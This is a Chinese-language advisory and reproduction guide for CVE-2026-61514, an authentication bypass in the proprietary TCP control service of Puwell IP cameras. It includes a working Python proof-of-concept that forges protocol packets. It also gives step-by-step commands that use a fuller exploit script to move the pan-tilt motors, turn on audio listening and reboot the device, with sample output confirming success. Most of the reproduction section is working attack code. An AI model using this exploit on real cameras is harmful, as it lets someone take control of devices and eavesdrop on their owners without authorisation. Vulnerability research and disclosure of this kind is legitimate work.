漏洞简介
CVE-2026-61514 是 Puwell IP 摄像头中的 Critical 级别身份认证绕过漏洞,CVSS 评分 9.3(NVD)/ 10.0(VulDB)。该漏洞存在于摄像头暴露的专有 TCP 控制服务中(端口 23456),核心问题是协议头部中的
Session字段未被验证,接受任意值,且无需建立有效会话即可发送特权命令。
通过逆向分析固件,研究者可重构筑造符合协议格式的命令包。攻击者只需发送指定操作码(opcode)即可执行以下操作:访问实时视频流、控制云台/倾斜电机(PTZ)、激活/禁用音频功能、远程重启设备、执行其他专有协议命令。
该漏洞的影响链路:发现目标摄像头 → 连接 TCP 23456 端口 → 发送构造的心跳包验证漏洞 → 发送控制命令实现 PTZ 操作/音频控制/设备重启 → 完全接管设备控制权。
影响范围
特别注意:无需任何认证即可完全控制设备。暴露在公网或未经隔离的 IoT 摄像头存在高风险。
漏洞复现
准备环境
复现步骤
````
步骤 1:基础验证(心跳包探测)
使用最小 PoC 验证目标是否存在漏洞:
```bash
python3 cve-2026-61514-minimal.py
```
修改脚本中的 TARGET_IP 为实际目标地址,发送心跳包并检查响应:
```python
import socket
import struct
TARGET_IP = "192.168.2.42"
PORT = 23456
SESSION = 0xbadc0de0
FIELD = 0x02963ED5
OP_HEARTBEAT = 0x0001
def build_packet(opcode, payload):
header = struct.pack("<IIII", 0xFFEEDDCC, opcode, SESSION, len(payload))
return header + payload
payload = struct.pack("<II", 0, FIELD) + b"\x00" * 20
packet = build_packet(OP_HEARTBEAT, payload)
sock = socket.create_connection((TARGET_IP, PORT))
sock.sendall(packet)
response = sock.recv(1024)
print(f"Response: {response.hex()}")
sock.close()
```
````
步骤 2:完整利用(多命令测试)
使用完整版 PoC 执行多种操作:
\`\`\`bash
\# 检查目标可达性
python3 cve-2026-61514.py --target 192.168.1.100 --action check
\# 发送心跳包验证
python3 cve-2026-61514.py --target 192.168.1.100 --action heartbeat
\`\`\`
成功输出示例:
\`\`\`
[+] Connecting to 192.168.1.100:23456...
[+] Sending heartbeat packet...
[+] Response received (32 bytes)
[+] Response hex: ffddeeff01deadbeef00000020...
[+] Vulnerability confirmed!
\`\`\`
````
步骤 3:PTZ 控制
远程控制云台/倾斜电机:
```bash
# 向上移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction up
# 向下移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction down
# 向左移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction left
# 向右移动
python3 cve-2026-61514.py --target 192.168.1.100 --action ptz --direction right
```
````
````
步骤 4:音频控制
启用/禁用麦克风功能:
```bash
# 启用音频监听
python3 cve-2026-61514.py --target 192.168.1.100 --action audio --enable
# 禁用音频
python3 cve-2026-61514.py --target 192.168.1.100 --action audio
```
````
步骤 5:远程重启
bash
python3 cve-2026-61514.py --target 192.168.1.100 --action restart